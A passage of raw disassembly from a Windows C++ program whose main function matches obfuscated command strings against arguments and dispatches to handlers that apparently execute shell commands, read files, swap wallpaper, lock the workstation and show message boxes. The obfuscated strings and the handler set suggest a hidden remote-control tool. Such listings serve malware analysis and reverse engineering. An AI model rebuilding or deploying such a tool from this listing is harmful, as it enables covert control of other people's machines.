mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4634]
lea rax, [rbp + 0x41e0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x41e0]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x41e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4634]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 3
jle 0x2319598cc
lea rax, [rbp + 0x420f]
mov rcx, rax
call method.main.lambda__187::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__3387623736414782891ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319598cc
mov eax, 1
jmp 0x2319598d1
mov eax, 0
test al, al
je 0x231959a14
lea rax, [rbp + 0x423f]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x423f]
lea rax, [rbp + 0x4210]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x426f]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x426f]
lea rax, [rbp + 0x4240]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x4210]
lea rax, [rbp + 0x4240]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
mov dword [rbp + 0x4638], eax
lea rax, [rbp + 0x4240]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x426f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x4210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x423f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp + 0x4638]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4638]
lea rax, [rbp + 0x4270]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x4270]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x4270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4638]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 3
jle 0x231959a58
lea rax, [rbp + 0x429f]
mov rcx, rax
call method.main.lambda__188::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__6464140915255657813ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231959a58
mov eax, 1
jmp 0x231959a5d
mov eax, 0
test al, al
je 0x231959ba0
lea rax, [rbp + 0x42cf]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x42cf]
lea rax, [rbp + 0x42a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x42ff]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x42ff]
lea rax, [rbp + 0x42d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x42a0]
lea rax, [rbp + 0x42d0]
mov r8d, 0
mov rcx, rax
call sym.f_xpc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
mov dword [rbp + 0x463c], eax
lea rax, [rbp + 0x42d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x42ff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x42a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x42cf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp + 0x463c]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x463c]
lea rax, [rbp + 0x4300]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x4300]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x4300]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x463c]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 5
jle 0x231959be4
lea rax, [rbp + 0x432f]
mov rcx, rax
call method.main.lambda__189::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__10211328450113393645ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231959be4
mov eax, 1
jmp 0x231959be9
mov eax, 0
test al, al
je 0x231959d0a
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
movzx eax, byte [rax]
cmp al, 0x30
setne al
movzx eax, al
mov dword [rbp + 0x4650], eax
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rax, qword [rax]
movzx eax, byte [rax]
cmp al, 0x30
setne al
movzx eax, al
mov dword [rbp + 0x464c], eax
mov rax, qword [rbp + 0x46f8]
add rax, 0x20
mov rax, qword [rax]
movzx eax, byte [rax]
cmp al, 0x30
setne al
movzx eax, al
mov dword [rbp + 0x4648], eax
mov rax, qword [rbp + 0x46f8]
add rax, 0x28
mov rax, qword [rax]
movzx eax, byte [rax]
cmp al, 0x30
setne al
movzx eax, al
mov dword [rbp + 0x4644], eax
mov r8d, dword [rbp + 0x4644]
mov ecx, dword [rbp + 0x4648]
mov edx, dword [rbp + 0x464c]
mov eax, dword [rbp + 0x4650]
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call sym.f_exsh_int__int__int__int_
mov dword [rbp + 0x4640], eax
mov eax, dword [rbp + 0x4640]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4640]
lea rax, [rbp + 0x4330]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x4330]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x4330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4640]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 1
jle 0x231959d4e
lea rax, [rbp + 0x435f]
mov rcx, rax
call method.main.lambda__190::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__847049599501927823ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231959d4e
mov eax, 1
jmp 0x231959d53
mov eax, 0
test al, al
je 0x231959e32
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rax, [rbp + 0x4360]
mov rcx, rax
call sym.f_rf_abi:cxx11__char_const_
lea rax, [rbp + 0x4360]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x4360]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x4654], eax
mov eax, dword [rbp + 0x4654]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4654]
lea rax, [rbp + 0x4380]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x4380]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x4380]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4654]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 2
jle 0x231959e76
lea rax, [rbp + 0x43a3]
mov rcx, rax
call method.main.lambda__191::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__6190755765490234233ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231959e76
mov eax, 1
jmp 0x231959e7b
mov eax, 0
test al, al
je 0x23195a163
lea rax, [rbp + 0x43a4]
mov rcx, rax
call method.main.lambda__192::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__5470153574248711493ull__char_.operator_char__
mov qword [rbp + 0x4680], rax
lea rax, [rbp + 0x43a5]
mov rcx, rax
call method.main.lambda__193::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__9606071960154211639ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x231959efd
lea rax, [rbp + 0x43a6]
mov rcx, rax
call method.main.lambda__194::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__5762111620758475645ull__char_.operator_char__
mov qword [rbp + 0x4680], rax
jmp 0x23195a065
lea rax, [rbp + 0x43a7]
mov rcx, rax
call method.main.lambda__195::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__6452954034314141463ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x231959f59
lea rax, [rbp + 0x43a8]
mov rcx, rax
call method.main.lambda__196::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__6887449995793377099ull__char_.operator_char__
mov qword [rbp + 0x4680], rax
jmp 0x23195a065
lea rax, [rbp + 0x43a9]
mov rcx, rax
call method.main.lambda__197::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__15954999837161500493ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x231959fb5
lea rax, [rbp + 0x43aa]
mov rcx, rax
call method.main.lambda__198::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__4844183769966702035ull__char_.operator_char__
mov qword [rbp + 0x4680], rax
jmp 0x23195a065
lea rax, [rbp + 0x43ab]
mov rcx, rax
call method.main.lambda__199::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__13058709557800552841ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x23195a00e
lea rax, [rbp + 0x43ac]
mov rcx, rax
call method.main.lambda__200::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__13067031476942005095ull__char_.operator_char__
mov qword [rbp + 0x4680], rax
jmp 0x23195a065
lea rax, [rbp + 0x43ad]
mov rcx, rax
call method.main.lambda__201::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__3587417670400694647ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x23195a065
lea rax, [rbp + 0x43ae]
mov rcx, rax
call method.main.lambda__202::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__13637354026896035735ull__char_.operator_char__
mov qword [rbp + 0x4680], rax
mov dword [rbp + 0x467c], 0
cmp dword [rbp + 0x46f0], 3
jle 0x23195a0b3
lea rax, [rbp + 0x43af]
mov rcx, rax
call method.main.lambda__203::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__12187155476672397095ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a0b3
mov eax, 1
jmp 0x23195a0b8
mov eax, 0
test al, al
je 0x23195a0c6
mov dword [rbp + 0x467c], 1
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov ecx, dword [rbp + 0x467c]
mov rdx, qword [rbp + 0x4680]
mov r8d, ecx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
mov dword [rbp + 0x4658], eax
mov eax, dword [rbp + 0x4658]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4658]
lea rax, [rbp + 0x43b0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x43b0]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x43b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4658]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 2
jle 0x23195a1a7
lea rax, [rbp + 0x43df]
mov rcx, rax
call method.main.lambda__204::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__1988178318983392139ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a1a7
mov eax, 1
jmp 0x23195a1ac
mov eax, 0
test al, al
je 0x23195a325
lea rax, [rbp + 0x1030]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rax, [rbp + 0x442f]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x442f]
lea rax, [rbp + 0x4400]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x445f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x445f]
lea rdx, [rbp + 0x1030]
lea rax, [rbp + 0x4430]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x43e0]
lea rcx, [rbp + 0x4400]
lea rdx, [rbp + 0x4430]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x43e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_swp_void_
mov dword [rbp + 0x465c], eax
lea rax, [rbp + 0x43e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4430]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x445f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x4400]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x442f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp + 0x465c]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x465c]
lea rax, [rbp + 0x4460]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x4460]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x4460]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x465c]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 2
jle 0x23195a369
lea rax, [rbp + 0x448e]
mov rcx, rax
call method.main.lambda__205::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__2404666915360941825ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a369
mov eax, 1
jmp 0x23195a36e
mov eax, 0
test al, al
je 0x23195a46a
mov dword [rbp + 0x4678], 0
cmp dword [rbp + 0x46f0], 3
jle 0x23195a3c4
lea rax, [rbp + 0x448f]
mov rcx, rax
call method.main.lambda__206::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__9330848808360053085ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a3c4
mov eax, 1
jmp 0x23195a3c9
mov eax, 0
test al, al
je 0x23195a3d7
mov dword [rbp + 0x4678], 1
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov edx, dword [rbp + 0x4678]
mov rcx, rax
call sym.f_ssd_char_const__int_
mov dword [rbp + 0x4660], eax
mov eax, dword [rbp + 0x4660]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4660]
lea rax, [rbp + 0x4490]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x4490]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x4490]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4660]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 1
jle 0x23195a4ae
lea rax, [rbp + 0x44bf]
mov rcx, rax
call method.main.lambda__207::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__1848104916935729133ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a4ae
mov eax, 1
jmp 0x23195a4b3
mov eax, 0
test al, al
je 0x23195a53c
mov ecx, 0
call sym.f_lws_int_
mov dword [rbp + 0x4664], eax
mov eax, dword [rbp + 0x4664]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4664]
lea rax, [rbp + 0x44c0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x44c0]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x44c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4664]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 4
jle 0x23195a580
lea rax, [rbp + 0x44ef]
mov rcx, rax
call method.main.lambda__208::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__7466270401558042955ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a580
mov eax, 1
jmp 0x23195a585
mov eax, 0
test al, al
je 0x23195a65e
lea rax, [rbp + 0x451d]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x20
mov rdx, qword [rax]
lea rcx, [rbp + 0x451d]
lea rax, [rbp + 0x44f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x44f0]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov ecx, eax
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rdx, qword [rax]
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov r8d, ecx
mov rcx, rax
call sym.f_mbx_char_const__char_const__unsigned_int_
mov dword [rbp + 0x4668], eax
lea rax, [rbp + 0x44f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x451d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp + 0x4668]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, dword [rbp + 0x4668]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 4
jle 0x23195a6a2
lea rax, [rbp + 0x451e]
mov rcx, rax
call method.main.lambda__209::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__1873356059075874607ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a6a2
mov eax, 1
jmp 0x23195a6a7
mov eax, 0
test al, al
je 0x23195a7eb
mov dword [rbp + 0x4674], 0
cmp dword [rbp + 0x46f0], 5
jle 0x23195a6fd
lea rax, [rbp + 0x451f]
mov rcx, rax
call method.main.lambda__210::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__11190129310178590177ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x28
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195a6fd
mov eax, 1
jmp 0x23195a702
mov eax, 0
test al, al
je 0x23195a710
mov dword [rbp + 0x4674], 1
lea rax, [rbp + 0x454e]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x20
mov rdx, qword [rax]
lea rcx, [rbp + 0x454e]
lea rax, [rbp + 0x4520]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4520]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov ecx, eax
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rdx, qword [rax]
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov r8d, dword [rbp + 0x4674]
mov r9d, r8d
mov r8d, ecx
mov rcx, rax
call sym.f_mbxs_char__char__unsigned_int__int_
mov dword [rbp + 0x466c], eax
lea rax, [rbp + 0x4520]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x454e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp + 0x466c]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, dword [rbp + 0x466c]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 3
jle 0x23195a82f
lea rax, [rbp + 0x454f]
mov rcx, rax
call method.main.lambda__211::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__16358087235376990659ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
